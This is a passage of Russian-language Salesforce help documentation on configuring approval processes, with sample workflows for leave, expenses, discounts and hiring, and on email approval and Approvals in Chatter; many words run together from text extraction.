– УведомленияSalesforce1для запросовна утверждениенеотправляютсяочередям.Рекомендуемдобавитьотдельных
пользователей в качестве назначенных ответственных за утверждение для каждого этапа утверждения,
использующегоочередь. ВэтомслучаеполучениеуведомленийозапросахнаутверждениевприложенииSalesforce1
будет доступно хотя бы данным пользователям. Чтобы назначить ответственность за утверждение очередям и
отдельным пользователям, установите флажок «Автоматически назначать ответственным за утверждение»
вместо флажка «Автоматически назначать очереди» в этапе утверждения.

– Если запрос на утверждение отклонен и возвращен предыдущему ответственному за утверждение, которым
является очередь, то запрос на утверждение назначается утвердившему пользователю, но не очереди.

– Связанный список «Журнал утверждений» отображает имя очереди в столбце «Назначено», а фактического
пользователя, утвердившегоилиотклонившего запрос, в столбце «Фактический ответственный за утверждение».

Ограничения
• Каждый процесс может содержать не более 30 этапов.

• Каждому этапу может быть задано не более 25 ответственных за утверждение.

• Объекты объединения не поддерживают создание исходящих сообщений для процессов утверждения.

• Активный процесс утверждения не позволяет добавлять, удалять или изменять порядок отображения этапов, а также
менять алгоритм отклонения или пропуска после его деактивации.

Утверждения и поля слияния
• Поляслияниядляпроцессов утверждениямогутиспользоваться вшаблонах эл. почты, ноне вшаблонах стандартных

писем.

• Поляслиянияутверждения (кроме {!ApprovalRequest.Comments}) поимени {!ApprovalRequest.имя_поля}
вшаблонахэлектроннойпочтывозвращаютзначениятолькоприиспользованиивсообщенияхэл. почтыоназначении
утвержденияиэлектронныхпредупрежденияхдляпроцессовутверждения. Прииспользованиивдругихсообщениях
эл. почты, включаяэлектронныепредупреждениядлябизнес-правил, поляслиянияутверждениявозвращаютзначение
null.

• Поле слияния {!ApprovalRequest.Comments} возвращает только последний введенный комментарий в
сообщениях эл. почты для этапа утверждения, предполагающего единогласное утверждение несколькими
ответственными.
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• Полям слияния в электронном запросе на утверждение присваивается имя отправителя и название первого этапа.

• Поля слияния обновляются после утверждения запроса (добавляется имя ответственного за утверждение и название
второго этапа).

• В последующих действиях значения полей слияния обновляются на основе предыдущего выполненного этапа.

• При создании процесса утверждения текущий пользователь или автор процесса может выбрать отправителя. При
использовании настраиваемыхшаблонов эл. почты, содержащих поля слияния, предполагается, что текущий
пользователь должен отличаться от отправителя. Изменение текущего пользователя ({!User.<имя_поля>}) на
выбранного отправителя ({!ApprovalRequestingUser.<имя_поля>}).

СМ. ТАКЖЕ:

Рекомендации по использованию отчетов по журналам утверждений

Рекомендации для функции «Утверждения в Chatter»

Включение электронного утверждения

Образец процесса утверждения
Ознакомьтесь спримерамипроцессов утверждения, которыемогутиспользоватьсядля создания собственныхпроцессов.

Пример процесса утверждения: запросы на оплачиваемый отпуск
Обычно заявления на оплачиваемый отпуск утверждаются менеджерами сотрудников. Ниже перечислены действия,
позволяющие автоматизировать простой одноэтапный процесс отправки запросов на оплачиваемый отпуск
посредством системы Salesforce.

Пример процесса утверждения: отчеты по расходам
СистемаSalesforceпозволяетавтоматизироватьпроцессутвержденияотчетовпорасходам, отправляемыхсотрудниками
компании своим менеджерам. Чтобы создать двухэтапный процесс утверждения отчетов по расходам для всех
сотрудников головного офиса, воспользуйтесь примером ниже. Данный пример определяет автоматическое
утверждение любых расходов менее 50 рублей, утверждение на уровне менеджера всех расходов более 50 рублей и
дополнительное утверждение на уровне двух вице-президентов всех расходов более 5 000 рублей. Данный пример
охватывает параметр «иначе», а также функцию параллельных утверждений.

Пример процесса утверждения: скидки для возможностей
Возможности, которым предоставляется скидка более 40%, должны утверждаться на уровне генерального директора.
Чтобы создать одноэтапный процесс утверждения, воспользуйтесь примером ниже.

Пример процесса утверждения: соискатели
Преждечемотправитьофициальноепредложениеоработеодномуиз соискателей, компанияможет воспользоваться
несколькимиуровнямиутверждения. Чтобысоздатьтрехэтапныйпроцессутверждения, требующийучастияменеджеров
разного уровня, воспользуйтесь примером ниже.
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Пример процесса утверждения: запросы на оплачиваемый отпуск

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Обычно заявления на оплачиваемый отпуск утверждаются менеджерами сотрудников.
Ниже перечислены действия, позволяющие автоматизировать простой одноэтапный
процесс отправки запросов на оплачиваемый отпуск посредством системы Salesforce.

Подготовка организации

Прежде чем создать процесс утверждения, выполните указанные ниже действия.

• Если настраиваемый объект для отслеживания запросов на оплачиваемый отпуск
отсутствует, создайте соответствующий настраиваемый объект и вкладку «Запросы
на оплачиваемый отпуск». Добавьте соответствующие поля (например, «Дата
начала», «Дата окончания» и «Имя сотрудника»).

• Создайте шаблон эл. почты для уведомления ответственных за утверждение о
необходимости проверки запроса. Чтобы разрешить пользователям переход на
страницу утверждения, добавьте любое поле слияния для процессов утверждения.

Создание процесса утверждения

Чтобы создать процесс утверждения для настраиваемого объекта запроса на оплачиваемый отпуск, воспользуйтесь
мастером быстрого запуска и выполните следующее.

• Выберите шаблон эл. почты, созданный для данного процесса утверждения.

• Чтобы разрешить отправку запросов всем пользователям, а также их добавление независимо от заданных атрибутов,
пропустите критерии фильтрации.

• Выберите параметр «Автоматически назначать ответственного за утверждение с помощью стандартного или
настраиваемого поля иерархии», а затем выберите значение «Менеджер».

• Мастер запуска автоматически выбирает ответственного за запись как единственного пользователя, который может
отправлять запросы на оплачиваемый отпуск.

Совет: Чтобыразрешитьотправителюотзывотправленногозапросанаоплачиваемыйотпуск, выполнитеуказанные
ниже действия.

1. Щелкните «Правка» и выберите «Исходные отправители».

2. Установите флажок «Разрешить отправителям отзывать запросы на утверждение».

При установке флажка «Разрешить отправителям отзывать запросы на утверждение» отправителям и
администраторамдоступнакнопка «Отозватьзапроснаутверждение» в связанномсписке «Журналутверждений»
настраницесведенийоботправленныхзаписях. Впротивномслучаеданнаякнопкадоступнатолькоадминистраторам.
Принажатии кнопки «Отозвать запроснаутверждение»отложенный запросна утверждение записиотменяется
и выполняются действия отзыва. Дополнительнуюинформациюсм. в разделе «Действия отзыва»на странице 4855.

Обработка данных

После создания процесса утверждения добавьте связанный список «Журнал утверждений» в макет страницы объекта
«Запрос на оплачиваемый отпуск».

Совет: Рекомендуем добавить связанный список «Элементы для утверждения» в настраиваемые макеты начальной
страницы. Данный связанный список позволяет быстро просматривать запросы для утверждения или отклонения.
Дополнительную информацию о добавлении данного компонента в макеты начальной страницы см. в разделе
«Создание макетов вкладки "Начальная страница"» на странице 4373.
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Прежде чем активировать процесс утверждения, протестируйте его в безопасной среде.

Пример процесса утверждения: отчеты по расходам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

СистемаSalesforceпозволяетавтоматизироватьпроцессутвержденияотчетовпорасходам,
отправляемыхсотрудникамикомпаниисвоимменеджерам. Чтобысоздать двухэтапный
процесс утверждения отчетов по расходам для всех сотрудников головного офиса,
воспользуйтесьпримеромниже. Данныйпримеропределяетавтоматическоеутверждение
любыхрасходовменее 50 рублей, утверждениена уровнеменеджера всехрасходовболее
50 рублейидополнительноеутверждениенауровнедвухвице-президентоввсехрасходов
более 5 000 рублей. Данный пример охватывает параметр «иначе», а также функцию
параллельных утверждений.

Подготовка организации

Прежде чем создать процесс утверждения, выполните указанные ниже действия.

• Если настраиваемый объект для отслеживания расходов отсутствует, создайте
соответствующийнастраиваемыйобъективкладку «Отчетыпорасходам». Добавьтесоответствующиеполя (например,
«Стоимость», «Описание», «Статус», «Дата начала» и «Дата окончания»).

• Создайте шаблон эл. почты для уведомления ответственных за утверждение о необходимости проверки запроса.
Чтобы разрешить пользователям переход на страницу утверждения, добавьте любое поле слияния для процессов
утверждения.

• Создайте настраиваемое поле «Расположение офиса» для объекта пользователя. Назначьте значение «Головной
офис» пользователям головного офиса.

Создание процесса утверждения

Чтобы создать процесс утверждения, воспользуйтесь настраиваемым объектом «Отчет по расходам». Укажите сведения
ниже.

• Критериемфильтрации для данного процесса утверждения является «"Текущий пользователь": "Расположение офиса"
равно "Головной офис"». Данный процесс утверждения доступен только записям, соответствующим заданному
критерию.

• Выберите поле «Менеджер» в качестве следующего автоматического ответственного за утверждение.

• Создайте шаблон эл. почты для уведомления ответственных за утверждение о необходимости проверки запроса.
Чтобы разрешить пользователям переход на страницу утверждения, добавьте любое поле слияния для процессов
утверждения.

• Выберитеответственногоза записьилилюбогодругогопользователя, которыйдолженотправлятьотчетыпорасходам.

• Создайте два этапа утверждения.

1. Создайте этап «Этап 1: Утверждение менеджером» со спецификациями ниже.

– Назовите данный этап «Этап 1: Утверждение менеджером».

– Выберитепараметр «Данный этап доступен следующим» ивыберите значение «критериивыполняются».
При необходимости выберите значение «утвердить запись» для параметра «иначе».

– Задайте критерий фильтрации: «"Расходы": "Стоимость" больше или равно "50"».

– Выберитеменеджерадляпользователя, отправляющегозапрос, вполе «Автоматически назначать ответственным
за утверждение».
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– Чтобы разрешить пользователю, указанному в поле «Делегированный ответственный за утверждение»,
утверждение запросов, выберите параметр «Представитель ответственного за утверждение также может
утвердить данный запрос».

2. Создайте второй этап утверждения «Этап 2: Утверждение несколькими вице-президентами» со спецификациями
ниже.

– Задайте критерий фильтрации «"Расходы": "Стоимость" больше или равно "5000"».

– Выберитепараметр «Автоматически назначать ответственным за утверждение» ивыберитедвухпользователей
с ролью «Вице-президент».

– Установите флажок «Требовать ЕДИНОГЛАСНОГО утверждения от всех выбранных ответственных за
утверждение». Запрос утверждается только после утверждения обоими назначенными пользователями.

– Чтобы разрешить пользователю, указанному в поле «Делегированный ответственный за утверждение»,
утверждение запросов, выберите параметр «Представитель ответственного за утверждение также может
утвердить данный запрос».

– Чтобывернуть запрос, отклоненныйоднимиз вице-президентов, наизменениеменеджеру, установитефлажок
«Выполнить ТОЛЬКО действия отклонения для данного этапа...».

Совет: Рекомендуем создать действия окончательного утверждения ниже.

• Определение обновления поля для автоматического выбора значения «Утверждено» в поле «Статус».

• Отправка уведомления об утверждении пользователю, отправившему отчет по расходам.

• Отправка исходящего сообщения во вспомогательнуюфинансовую систему для печати компенсационных
чеков.

Обработка данных

После создания процесса утверждения добавьте связанный список «Журнал утверждений» в макет страницы объекта
«Отчет по расходам».

Совет: Рекомендуем добавить связанный список «Элементы для утверждения» в настраиваемые макеты начальной
страницы. Данный связанный список позволяет быстро просматривать запросы для утверждения или отклонения.
Дополнительную информацию о добавлении данного компонента в макеты начальной страницы см. в разделе
«Создание макетов вкладки "Начальная страница"» на странице 4373.

Прежде чем активировать процесс утверждения, протестируйте его в безопасной среде.
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Пример процесса утверждения: скидки для возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Возможности, которым предоставляется скидка более 40%, должны утверждаться на
уровне генерального директора. Чтобы создать одноэтапный процесс утверждения,
воспользуйтесь примером ниже.

Подготовка организации

Прежде чем создать процесс утверждения, выполните указанные ниже действия.

• Создайте шаблон эл. почты для уведомления ответственных за утверждение о
необходимости проверки запроса. Чтобы разрешить пользователям переход на
страницу утверждения, добавьте любое поле слияния для процессов утверждения.

• Создайте следующие настраиваемые поля для возможностей:

– Поле «Процент скидки» для ввода процента скидки.

– Поле-флажок «Скидка утверждена» для отображения скидки, утвержденной генеральным директором.

Создание процесса утверждения

Создайте процесс утверждения для объекта «Возможность». Укажите сведения ниже.

• Критериемфильтрации для данного процесса утверждения является «"Процент скидки" больше или равно "0,4"».
Данный процесс утверждения доступен только записям, соответствующим заданному критерию.

• Настраиваемое поле может не выбираться в качестве следующего автоматического ответственного за утверждение,
так как ответственность за утверждение всех запросов позже будет назначена генеральному директору.

• Выберите шаблон эл. почты, созданный для данного процесса утверждения.

• Выберите ответственного за запись в качестве единственного пользователя, который может отправлять запросы на
утверждение скидки.

• Создайтеодинэтапутверждениябез критерияфильтрации, так как всеотправленныезаписидолжныбыть утверждены
или отклонены.

• Выберитепараметр «Автоматически назначать ответственным за утверждение» ивведитеимягенеральногодиректора.

• Чтобыразрешитьпользователю, указанномувполе «Делегированный ответственный за утверждение», утверждение
запросов, выберите параметр «Представитель ответственного за утверждение также может утвердить данный
запрос».

• Рекомендуем создать действия окончательного утверждения ниже.

– Отправка уведомления об утверждении пользователю, отправившему запрос на скидку.

– Определение обновления поля на странице 4785 для автоматической установки флажка возможности «Скидка
утверждена».

Обработка данных

После создания процесса утверждения добавьте связанный список «Журнал утверждений» в соответствующие макеты
страниц возможности.

Совет: Рекомендуем добавить связанный список «Элементы для утверждения» в настраиваемые макеты начальной
страницы. Данный связанный список позволяет быстро просматривать запросы для утверждения или отклонения.
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Дополнительную информацию о добавлении данного компонента в макеты начальной страницы см. в разделе
«Создание макетов вкладки "Начальная страница"» на странице 4373.

Прежде чем активировать процесс утверждения, протестируйте его в безопасной среде.

Пример процесса утверждения: соискатели

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем отправить официальное предложение о работе одному из соискателей,
компания может воспользоваться несколькими уровнями утверждения. Чтобы создать
трехэтапный процесс утверждения, требующий участия менеджеров разного уровня,
воспользуйтесь примером ниже.

Подготовка организации

Прежде чем создать процесс утверждения, выполните указанные ниже действия.

• Если настраиваемый объект для отслеживания соискателей отсутствует, создайте
соответствующий настраиваемый объект и вкладку «Соискатели». Добавьте
соответствующиеполя (например, «Зарплата», «Предложение принято»  (флажок)
и «Дата найма»).

• Создайте шаблон эл. почты для уведомления ответственных за утверждение о
необходимости проверки запроса. Чтобы разрешить пользователям переход на страницу утверждения, добавьте
любое поле слияния для процессов утверждения.

Создание процесса утверждения

Создайте процесс утверждения для настраиваемого объекта «Соискатель». Укажите сведения ниже.

• Чтобы утвердить все отправленные предложения, пропустите критерий фильтрации.

• Выберите поле «Менеджер» в качестве следующего автоматического ответственного за утверждение.

• Выберите шаблон эл. почты, созданный для данного процесса утверждения.

• Выберите ответственного за запись или любого другого пользователя, который должен отправлять официальные
предложения.

• Создайте три этапа утверждения.

1. Создайте этап «Этап 1: Утверждение менеджером».

– Чтобы разрешить всем записям переход на данный этап, пропустите фильтр.

– Выберитеменеджерадляпользователя, отправляющегозапрос, вполе «Автоматически назначать ответственным
за утверждение».

– Чтобы разрешить пользователю, указанному в поле «Делегированный ответственный за утверждение»,
утверждение запросов, выберите параметр «Представитель ответственного за утверждение также может
утвердить данный запрос».

2. Создайте второй этап «Этап 2: Утверждение вице-президентом».

– Чтобы разрешить всем записям переход на данный этап, пропустите фильтр.

– Чтобыразрешитьменеджеру выбор соответствующеговице-президента для утверждения запроса, установите
флажок «Позволить пользователю выбрать ответственного за утверждение».
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– Чтобы разрешить пользователю, указанному в поле «Делегированный ответственный за утверждение»,
утверждение запросов, выберите параметр «Представитель ответственного за утверждение также может
утвердить данный запрос».

– Чтобы вернуть запрос, отклоненный вице-президентом, на изменение менеджеру, установите флажок
«Выполнить ТОЛЬКО действия отклонения для данного этапа...».

3. Создайте третий этап «Этап 3: Утверждение финансовым директором».

– Чтобы разрешить всем записям переход на данный этап, пропустите фильтр.

– Выберитепараметр «Автоматически назначать ответственным за утверждение» ивыберитеимяфинансового
директора.

– Чтобы разрешить пользователю, указанному в поле «Делегированный ответственный за утверждение»,
утверждение запросов, выберите параметр «Представитель ответственного за утверждение также может
утвердить данный запрос».

– Чтобыокончательноотклонитьофициальныепредложения, отклоненныефинансовымдиректором, выберите
параметр «Выполнить все действия отклонения для данного этапа, а также все действия окончательного
отклонения. (Окончательное отклонение)».

Совет:

• Рекомендуем создать действия окончательного утверждения ниже.

– Отправка уведомленияоб утверждениипользователю, отправившему запроснаофициальноепредложение.

– Определение обновления поля для установки флажка «Предложение принято».

• Рекомендуем создать действия окончательного отклонения ниже.

– Отправка менеджеру уведомления об отклонении предложения.

Обработка данных

После создания процесса утверждения добавьте связанный список «Журнал утверждений» в макет страницы объекта
«Соискатели».

Совет: Рекомендуем добавить связанный список «Элементы для утверждения» в настраиваемые макеты начальной
страницы. Данный связанный список позволяет быстро просматривать запросы для утверждения или отклонения.
Дополнительную информацию о добавлении данного компонента в макеты начальной страницы см. в разделе
«Создание макетов вкладки "Начальная страница"» на странице 4373.

Прежде чем активировать процесс утверждения, протестируйте его в безопасной среде.
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Включение электронного утверждения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров бизнес-правил
и утверждений:
• «Настройка

приложения»

Функцияэлектронногоутвержденияпозволяетпользователямутверждатьилиотклонять
электронные запросы путем отправки ответа на сообщение эл. почты. Ответственным
за утверждение должно быть предоставлено полномочие «API включен», позволяющее
утверждать или отклонять запросы на утверждение посредством эл. почты.

Прим.:

• Преждечемвключитьфункциюэлектронногоутверждения, обратитевнимание,
что данная функция не может использоваться процессами утверждения, где
назначенным ответственным за утверждение является очередь, или
многоэтапными процессами утверждения, где следующий ответственный за
утверждение выбирается вручную после первого этапа. Пользователи,
использующие Microsoft® Word® в качестве редактора почтовых сообщений,
должныдобавлятькомментариивконецпервой, ане второйстрокисообщения.

• Включаяфункциюэлектронногоутверждения, пользовательразрешаетсистеме
Salesforceобрабатыватьэлектронныеответы, обновлятьзапросыобутверждении
длявсех активныхпользователейорганизациииобновлятьобъект утверждения
от лица пользователей организации.

1. Вразделе «Настройка» введите «Параметры автоматизации процесса» вполе «Быстрый
поиск», затем выберите «Параметры автоматизации процесса».

2. Установите флажок «Включить функцию электронного утверждения».

3. Нажмите кнопку «Сохранить».

Ниже представлен стандартныйшаблон эл. почты, используемый системой Salesforce для процессов утверждения после
включения функции электронного утверждения (кроме случаев использования настраиваемого шаблона эл. почты).

[name of requesting user] has requested your approval for
the following item.

To approve or reject this item, reply to this email with
the word APPROVE, APPROVED, YES, REJECT, REJECTED, or NO
in the first line of the email message, or click this link:

[link to approval page]

If replying via email you can also add comments on the
second line. The comments will be stored with the approval
request in Salesforce CRM.

Note: For salesforce.com to process your response the word
APPROVE, APPROVED, YES, REJECT, REJECTED, or NO must be in
the very first line of the reply email. Also, any comment
must be in the second line.
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Если организация использует функцию «Утверждения в Chatter», а ответственный за утверждение включил функцию
отображения уведомлений об утверждении в виде сообщений Chatter, то стандартныйшаблон эл. почты дополняется
указанной ниже строкой.

You can also approve, reject and comment on this request from your Chatter feed:

[link to approval post in Chatter]

Если настраиваемыйшаблон эл. почты выбирается при настройке утверждения, убедитесь, что выбранныйшаблон
содержит указанные выше сведения, позволяющие пользователям правильно отвечать на электронные запросы.

Утверждения в Chatter

Начало работы с функцией «Утверждения в Chatter»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
«Утверждения в Chatter»:
• «Настройка

приложения»

Функция «Утверждения в Chatter» подразумевает использование как утверждений, так и
сетиChatter, поэтомуорганизациядолжнабытьтщательноподготовленакее включению.

Чтобы гарантировать корректную работу функции и отображение запросов об
утверждении в виде сообщений Chatter, выполните указанные ниже действия перед
включениемфункции «Утверждения в Chatter» в организации.

1. Создайте процесс утверждения.

2. Убедитесь, что для объекта, используемого процессом утверждения, включена
функция отслеживания ленты Chatter.

3. Создайтешаблонсообщенияобутверждениидляобъекта, используемогопроцессом
утверждения.

Чтобыиспользоватьданныйшаблонпоумолчаниюдлявсехпроцессовутверждения
соответствующего объекта, установите флажок «По умолчанию» при настройке
шаблона сообщения.

4. Повторите действия 1–3 для всех процессов утверждения по мере необходимости.

5. Включите функцию «Утверждения в Chatter».

Выполнение этого обеспечивает факт настройки всех процессов утверждения в
вашей организации в соответствии с необходимыми требованиями. Включение
данной функции инициирует генерирование сообщений Chatter для всех текущих
активных процессов утверждения.

СМ. ТАКЖЕ:

Где отображаются сообщения о запросах на утверждение?

Рекомендации для функции «Утверждения в Chatter»
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Включение функции «Утверждения в Chatter».

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
«Утверждения в Chatter»,
выполните следующие
действия:
• «Настройка

приложения»

Есливорганизациивключенаподдержкаутвержденийисети Chatter, тоадминистраторы
могут включить функцию «Утверждения в Chatter», благодаря которой пользователи
могут получать запросы на утверждение в виде сообщений лент Chatter.

1. Введите строку «Параметры Chatter» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры Chatter».

2. Нажмите кнопку «Правка».

3. Установите флажок «Разрешить получение сообщений об утверждении».

4. Сохраните внесенные изменения.

ЧтобыотказатьсяотполучениязапросовнаутверждениеввидесообщенийлентChatter,
пользователимогутобновитьсобственныепараметрыChatter. Сообщения, содержащие
запросы на утверждение, не отображаются в собственных лентах пользователей,
отказавшихся от их получения, но отображаются в ленте записи. Сообщения об
утверждениидоступнывлентезаписилюбомупользователю, имеющемудоступкзаписи
утверждения.Пользователям, которые решили получать запросы на утверждение
посредством сети Chatter, отправляется электронное уведомление и отображается
соответствующее обновление в ленте Chatter.

СМ. ТАКЖЕ:

Где отображаются сообщения о запросах на утверждение?

Рекомендации для функции «Утверждения в Chatter»

Начало работы с функцией «Утверждения в Chatter»

Рекомендации для функции «Утверждения в Chatter»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены рекомендации по работе с функцией «Утверждения в Chatter».

• Функция «Утвержденияв Chatter», включеннаяворганизации, становитсядоступной
для всех пользователей. Чтобы отказаться от получения запросов на утверждение в
виде сообщенийлентChatter, пользователимогутобновить собственныепараметры
Chatter.

• Пользователям, которые решили получать запросы на утверждение посредством
сетиChatter, отправляетсяэлектронноеуведомлениеиотображаетсясоответствующее
обновление в ленте Chatter.

• Чтобы отслеживать выполнение отправленного утверждения, рекомендуем начать
отслеживание записи утверждения в сети Chatter.

• Конфигурация отображаемого сообщения, содержащего запрос на утверждение,
определяется типом пользователя.

– Кнопкидействийнад утверждениямиотображаются в сообщениях толькоответственнымза утверждение, а также
в соответствующей ленте новостей или ленте профиля.

– Имена ответственных за утверждение отображаются в заголовке только ответственным за утверждение.

• Еслиэтапутвержденияпредполагаетединогласноеутверждениенесколькимиответственными, тозаголовоксообщения,
содержащего запрос на утверждение, для данного этапа содержит только некоторых выбранных ответственных.
Ответственные за утверждение могут просмотреть в заголовке сообщения только собственные имена.
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• Отзыв запроса на утверждение инициирует генерирование сообщения. Данное сообщение отображается в лентах
новостей отправителя, всех ответственных за утверждение и отслеживающих объект, а также в ленте записи.

• Еслиобъект утверждениястановитсяподробнымвовзаимосвязи «Основная — подробная», тополе «Ответственный»
недоступно для макетов страниц утверждения или шаблонов сообщений об утверждении.

• Вслучаеизмененияответственногоза утверждение, имениэтапаилитипамаршрутизациидлявыполняемогопроцесса
утверждения, обновление текущих сообщений об утверждении не выполняется.

• Если назначенныйответственный за утверждение отказывается получать запросына утверждение в виде сообщений
во время выполненияпроцесса утвержденияипри этомне отслеживает запись утверждения, то ему будут недоступны
новые сообщения-уведомления. Однако, еслисотрудникотслеживает запись утверждения, топослеотказа сообщения
об утверждении будут доступны в записи, содержимое которой не связано с ответственным за утверждение. Любые
сообщения-уведомления об утверждении, полученные до отказа, обновляются с целью отображения содержимого,
не связанного сответственнымза утверждение, а кнопки утвержденияиотклоненияисчезаютиз текущихсообщений
ленты.

• Обычнофункция «Утвержденияв Chatter»используетсядля утвержденийпопродуктам, кромеуказанногонижеслучая.
Если продукт неактивен, а ответственный за утверждение не имеет права на редактирование продуктов, то
сообщения-уведомления об утверждении для данного продукта не отображаются в лентах ответственного за
утверждение. Сообщения об утверждении доступны ответственному только в ленте записи продукта.

Ограничения

• Функция «Утверждения в Chatter» не поддерживает делегированных ответственных за утверждение и очереди.

• Запрос на утверждение не может быть отозван или переназначен посредством сообщения. Оба действия должны
выполняться в записи утверждения.

• СообщенияобутверждениинемогутбытьудаленыпосредствомпользовательскогоинтерфейсаSalesforce; рекомендуем
использовать API.

• Запросы на утверждение, отправленные пользователями портала или Sites, не поддерживаются.

СМ. ТАКЖЕ:

Где отображаются сообщения о запросах на утверждение?

Начало работы с функцией «Утверждения в Chatter»

Где отображаются сообщения о запросах на утверждение?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Еслиорганизацияиспользуетфункцию «Утверждения в Chatter», топользователибудут
получать запросы на утверждение в виде потоков сообщений Chatter.

Прим.: Сообщения, содержащие запросы на утверждение, доступны только
пользователям, имеющим доступ к записи утверждения. Комментарии к
сообщениям об утверждении не сохраняются в запись утверждения.

Ниже перечислены области отображения сообщений, содержащих запросы на
утверждение.

• В ленте Chatter для назначенного ответственного лица.

• В профиле заявителя

• В потоке сообщений Chatter заявителя — только если заявитель следит за записью
запроса на утверждение

• В ленте в записи запроса на утверждение.
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• Лента Chatter любого пользователя, отслеживающего запись о запросе на утверждение.

• Фильтр объекта на вкладке Chatter потока любого пользователя, отслеживающего запись утверждения.

• Фильтр «Компания» любого пользователя, имеющего доступ к записи утверждения.

Сообщения, содержащие запросына утверждение, не отображаются в собственныхлентах пользователей, отказавшихся
от их получения, но отображаются в ленте записи. Сообщения об утверждении доступны в ленте записи любому
пользователю, имеющему доступ к записи утверждения.

Совет: Чтобы отслеживать выполнение отправленного утверждения, рекомендуем начать отслеживание записи
утверждения в сети Chatter.

СМ. ТАКЖЕ:

Включение функции «Утверждения в Chatter».

Рекомендации для функции «Утверждения в Chatter»

Настройка шаблонов сообщений Chatter для запросов на утверждение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и просмотра
шаблонов сообщения,
содержащего запрос на
утверждение:
• «Настройка

приложения»

Выможетеизменять то, какуюинформациюследует включить в сообщение с запросом
на утверждение для отображения в ленте Chatter.

Прим.: Шаблонсообщенияобутвержденииможетбытьсоздантолькодляобъекта,
которыйподдерживаетутвержденияифункциюотслеживаниялентChatter. Шаблон
сообщения может быть связан с процессом утверждения только после включения
функции отслеживания лент для объекта.

1. Вразделе «Настройка» введите «Шаблоны сообщений» вполе «Быстрый поиск», затем
выберите «Шаблоны сообщений».

2. Нажмите кнопку «Создатьшаблон».

3. Выберите объект для шаблона.

4. Нажмите кнопку «Далее».

5. Дайте шаблону имя и описание.

6. Чтобывыбратьданныйшаблонвкачествестандартного, установитесоответствующий
флажок.

7. Выберите не более четырех полей для отображения в сообщении, содержащем
запрос на утверждение, и нажмите кнопку «Добавить».

8. Сортируйте поля.

9. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Рекомендации для шаблонов сообщений Chatter для запросов на утверждение
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Рекомендации для шаблонов сообщений Chatter для запросов на утверждение

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Есливорганизациивключенаподдержкаутвержденийисети Chatter, тоадминистраторы
могут включить функцию «Утверждения в Chatter», благодаря которой пользователи
могут получать запросы на утверждение в виде сообщений лент Chatter.Шаблоны
сообщения об утверждении для Chatter позволяют настраивать сведения, добавляемые
в сообщение, содержащее запрос на утверждение, при его отображении в ленте Chatter.
Следует помнить некоторые рекомендации по работе с шаблонами сообщений.

Прим.: Сообщения, содержащие запросы на утверждение, доступны только
пользователям, имеющим доступ к записи утверждения. Комментарии к
сообщениям об утверждении не сохраняются в запись утверждения.

• Чтобы выбрать шаблон сообщения для объекта в качестве стандартного, нажмите
кнопку «Правка» на странице сведений о шаблоне.

• Шаблонсообщенияобутвержденииможетбыть создантолькодляобъекта, который
поддерживаетутвержденияифункциюотслеживаниялентChatter. Шаблонсообщенияможетбытьсвязанспроцессом
утверждения только после включения функции отслеживания лент для объекта.

• Удаление настраиваемого поля инициирует его удаление из любого ссылающегося шаблона сообщения об
утверждении. Текущие сообщения остаются без изменений. Восстановленное настраиваемое поле добавляется в
список доступных полей, но не добавляется в шаблоны сообщения об утверждении, из которых оно было удалено.

• Удаление (или восстановление) настраиваемого объекта инициирует удаление (или восстановление) связанных
шаблонов сообщения об утверждении, а также любых сообщений, содержащих запросы на утверждение, которые
уже доступны в лентах Chatter.

• Переименованиенастраиваемогообъектаинициируетобновлениесвязанныхшаблонов сообщенияобутверждении.

• Шаблон сообщения об утверждении, используемый процессом утверждения, не может быть удален.

СМ. ТАКЖЕ:

Настройка шаблонов сообщений Chatter для запросов на утверждение

Управление удаленными настраиваемыми полями

Отчеты по журналам утверждений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При создании типа настраиваемого отчета для экземпляров процесса утверждения
пользователимогутпросматриватьархивныесведенияозавершенныхиливыполняемых
процессах утверждения и их отдельных этапах.

Поля, доступные для отчетов по журналам утверждений
Присозданиитипанастраиваемогоотчета, гдеобъект «Экземплярпроцесса» является
